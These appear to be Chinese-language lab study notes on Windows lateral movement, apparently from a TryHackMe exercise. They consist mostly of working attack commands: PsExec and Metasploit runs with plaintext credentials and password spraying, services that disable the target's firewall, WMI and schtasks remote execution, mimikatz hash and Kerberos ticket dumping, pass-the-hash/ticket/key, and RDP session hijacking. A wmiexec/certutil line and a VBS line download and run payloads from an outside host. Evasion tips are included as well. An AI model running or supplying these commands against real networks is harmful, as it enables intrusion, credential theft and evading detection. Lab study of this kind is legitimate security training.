横向移动

攻击者获得对网络第一台计算机的访问权后, 在整个网络中移动, 以便访问受害组织的敏感信息和用户信息

例如, 通过横向移动进行侦察可以帮助网络攻击者了解如何加密或泄露敏感数据, 具体取决于哪些机器传输的信息量最大 它还可以揭示网络上的哪些机器可能持有帐户或子网数据, 如何提升权限以获得管理或系统访问权限, 或者密码可能存储在何处

非常常用, 因为可以了解有关受害组织网络的大量信息, 即使在一台设备上被检测到, 也可以继续通过该网的其他设备继续攻击

我们可以使用标准管理协议(例如 WinRM、RDP、VNC 或 SSH)连接到网络上的其他计算机 必须注意不要尝试可疑的连接, 尝试藏在正常的连接中

管理员和UAC

用户帐户控制 (UAC), 就是那个点安装包会屏幕变暗弹出窗口的那个程序

UAC在默认情况下限制本地管理员权限, 对于远程连接执行管理任务的情况, 本地管理员账户不能直接进行,除非通过远程桌面协议(RDP)进行交互式会话, 唯一能够获得全权限的本地账户是默认的管理员账户, 启用后不受UAC的限制 而拥有本地管理权限的域账户, 这些域账户登录的时候也会得到完全的管理权限, 不受UAC的限制

创建远程会话

已知凭证的前提下, 可以利用凭证移动

psexec登录

在有权访问的PC上远程运行命令, 躲避检测无视杀毒软件, 直接system权限

445/TCP端口开放(SMB服务) 知道管理员账号密码(组成员身份为管理员)

PsExec.exe工具

runas /netonly /user:SUN\users cmd.exe		// 凭据注入(runas命令)

/netonly是一个参数,表示你提供的用户凭据只用在网络验证中,本地登录还是使用你当前的用户身份 SUN\users最好是拥有管理员身份的组成员(未验证)

PsExec.exe /s cmd			// 本地提权, 直接system权限
PsExec.exe \127.0.0.1 -u Administrator -p 123qwe@@ /s cmd // 本地提权
PsExec.exe \172.16.1.132 -u Administrator -p 123qwe@@ /s cmd // 横向入侵Windows主机,直接system权限
PsExec64.exe \\172.16.1.132 -u Administrator -p 123qwe@@ -i cmd.exe // 同上

Metasploit的psexec模块

已知管理员凭据

use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.138.138
set smbdomain SUN
set smbuser administrator
set smbpass dc321.com
run

未知凭据用密码喷洒

use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set rhost 172.16.1.132
set smbuser user.txt
set smbpass password.txt
run

密码喷洒指的是用一个密码对多个账号对目标进行枚举爆破,躲避密码输入错误过多导致封锁账号

还有impacket套件, cs插件-psexec, smbexec.py

IPC$连接

net use \\target_ip /u:user passwd
net use \\192.168.138.138\ipc$ "dc321.com" /user:"administrator"

可以查看文件, 可以上传文件, 甚至可以用sc命令

copy b.exe \\target_ip\C$\tmp	// 复制到目标机

sc命令

135/TCP 139/TCP 445/TCP 已知组成员身份为管理员的账号密码

smbclient上传文件

木马制作并上传

smbclient  //10.10.101.3/share -U smbuser
smbclient -U users -W ZA '//10.200.48.201/C$/' passwd
# -W 指定工作群组名称

进入后可以用put 1.txt上传文件

运行服务指定文件

通常和反弹shell一起用

sc \\10.200.48.201 create badservice binPath= "C:\tmp\a.exe" start= auto
sc \\10.200.48.201 start badservice
// 运行服务

关闭对面防火墙

sc \\192.168.138.138 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
// 创建关闭防火墙的服务
sc \\192.168.138.138 start unablefirewall
// 立即启动服务

schtask命令(计划任务)

win版本大于2008 必须要管理员

schtasks /s target_ip /U  user  /P passwd /RU "SYSTEM" /create /tn "任务名" /tr "1.exe" /sc minute /mo 1
// SYSTEM身份运行, 每分钟运行一次
schtasks /s target_ip /U user /P passwd /run /tn "任务名" // 直接执行任务
schtasks /s target_ip /U user /P passwd /tn "任务名" /DELETE /F // 删除计划任务

使用WMI横向移动

WMI, 即Windows Management Instrumentation, 可以用于管理Windows系统和网络环境, 它支持远程操作, 因此在一些场景下常被用作横向移动的方法, 其通过135端口进行利用,支持用户名明文或者 hash 的方式进行认证,并且该方法不会在目标日志系统留下痕迹

使用WMI可以用PowerShell连接,或者直接用wmic命令(cmd)

远程创建进程

135/TCP 5985/TCP或5986/TCP (WinRM HTTP/HTTPS) 已知管理员用户名和密码

wmic /user:SUN\user /password:passwd /node:10.200.48.201 process call create "cmd.exe /c 1.exe" 
// 1.exe 为 MSF生成的木马, 使用WMIC运行该文件

远程创建服务

wmic /node:"<目标机器的IP地址>" /user:"<用户名>" /password:"<密码>" service call create "<服务名>", "<完整路径到可执行文件>"

安装MSI包

wmic /node:"<目标机器的IP地址>" /user:"<用户名>" /password:"<密码>" product call install true,"" ,"<MSI包的完整网络路径>"

远程创建计划任务(wmis不直接支持)

wmiexec-impacket工具

wmiexec ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe & c:/beacon.exe"

票据传输

原理: NTML验证和Kerberos验证

mimikatz工具

ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege(20) c0000061 Mimikatz试图提升自身的特权,但没有成功。错误信息"RtlAdjustPrivilege(20) c0000061"中的"20"表示"SeDebugPrivilege",也就是调试特权,“c0000061"代表"试图进行的操作不被允许”

权限不够?扬了! PowerShell执行如下命令

Start-Process powershell -Verb runAs
// 在PowerShell中启动一个新的PowerShell进程,并且这个新进程将以Administrator(管理员)身份运行

提升当前进程的调试特权

privilege::debug		
token::elevate // 提升到最高权限system

票据收集

lsadump::sam	// 本地用户哈希值
sekurlsa::msv // 最近登录域用户的哈希值(主要是NTLM)
sekurlsa::ekeys // Kerberos加密密钥

传递方式共三种,PTH,PTT,PTK

PTH(传递哈希)

NTLM哈希注入

通过票据收集得到的哈希值可以进行登录

sekurlsa::pth /user:用户名 /domain:域名 /ntlm:NTLM的哈希值 /run:"执行的命令"
sekurlsa::pth /user:用户名 /domain:域名 /ntlm:NTLM的哈希值 /run:"cmd.exe"

然后就可以在弹出窗口内读数据啥的

winrs

为什么叫做移动到目标机子?

也可以使用winrs而不指定任何凭据, 并且它将使用当前会话可用的凭据

winrs.exe -r:THMIIS.za.tryhackme.com cmd
winrs -r:THMIIS.za.tryhackme.com cmd

然后就是sc,IPC$等

PTT(传递票据)

mimikatz可以查看和修改票据

kerberos::list
kerberos::purge # 清除票据

单纯用cmd也行

klist
klist purge # 清除票据

在没有票据的时候可以看见,不能列出目标机子的文件,原因是没有票据 TGT

票据注入

导出票据, 通常需要 SYSTEM 权限

sekurlsa::tickets /export

得到的文件会非常长

[0;97d82]-2-0-40e10000-t2_felicia.dean@krbtgt-ZA.TRYHACKME.COM.kirbi
|_________| ^ |____________| |______________| |_______________________________||_____|
| | | | | |______文件文件扩展名
| | | | |
| | | | |______resource
| | | |
| | | |______用户/计算机帐户(票证所有者)
| | |
| | |______0x40e10000 kerberos 标志 [1]
| |
| |______Kerberos 票证类型
| 0 = TGS / 1 = Client ticket / 2 = TGT
|
|__________0x97d82 user LUID [2]

大多数时候, 我们只需要TGT票据, 因为它们可用于请求访问允许用户访问的任何服务, TGS仅适用于特定服务

注入TGT:

// 都在mimikatz执行
kerberos::ptt [0;525fb0]-2-0-40e10000-t1_toby.beck@krbtgt-ZA.TRYHACKME.COM.kirbi
kerberos::list // 查看是否注入成功

使用winrs命令, 它将自动已有的票据注入到命令中

winrs -r:target cmd

然后就可以执行命令了

PTK(传递密钥)

和PYH类似, 但是适用于Kerberos验证

原理

当用户请求TGT时, 他们会发送使用从其密码派生的加密密钥加密的时间戳, 用于派生此密钥的算法具体取决于安装的 Windows 版本和 Kerberos 配置

如果我们拥有这些密钥中的任何一个, 我们可以向 KDC 请求 TGT, 而无需实际密码, 因此名称为“传递密钥”(PTK)

mimikatz抓取密钥

mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::ekeys" "exit" > log.txt

关注点主要是 RC4 哈希、AES128 哈希 、AES256 哈希

如果有RC4 哈希

sekurlsa::pth /user:t1_toby.beck /domain:za.tryhackme.com /rc4:533f1bd576caa912bdb9da284bbc60fe /run:"cmd.exe"

如果是AES256 哈希

sekurlsa::pth /user:t1_toby.beck /domain:za.tryhackme.com /aes256:6a0d48f79acaec013d928d84a102b72028d574340b6139e876e179db48fbde4e /run:"cmd.exe"

如果是AES128 哈希

sekurlsa::pth /user:t1_toby.beck /domain:za.tryhackme.com /aes128:6a0d48f79acaec013d928d84a102b72028d574340b6139e876e179db48fbde4e /run:"cmd.exe"

然后执行命令确认,随后可以移动到对方的机子

滥用用户行为

攻击者发现全局可写共享 攻击者发现允许访问可写共享的凭据

VBS脚本

CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\MY-IP\share_name\payload.exe %tmp% & %tmp%\payload", 0, True
// 从远程服务器获取"payload.exe"保存到本地临时文件夹并运行它, 而且命令执行的过程中不会弹出任何窗口,并在启动程序之前等待复制完成

EXE后门

就是放个msf木马顶替正常exe文件

RDP劫持

当管理员使用远程桌面连接到计算机并关闭RDP客户端而不是注销时,他的会话将无限期地在服务器上保持打开状态 如果在Windows Server 2016及更早版本上拥有系统权限,则无需密码即可接管任何现有RDP会话

先用任何方法获取SYSTEM权限

列出服务器现有会话

>query user

USERNAME SESSIONNAME ID STATE ...
user1 2 Disc
user2 rdp-tcp#18 3 Active
user3 4 Disc
user4 5 Disc

如果要移动到 t1_body.beck 用户会话,可以使用以下命令

tscon 5 /dest:rdp-tcp#18
// 5 对应着该用户的ID rdp-tcp#18为自己SESSIONNAME

执行whoami验证即可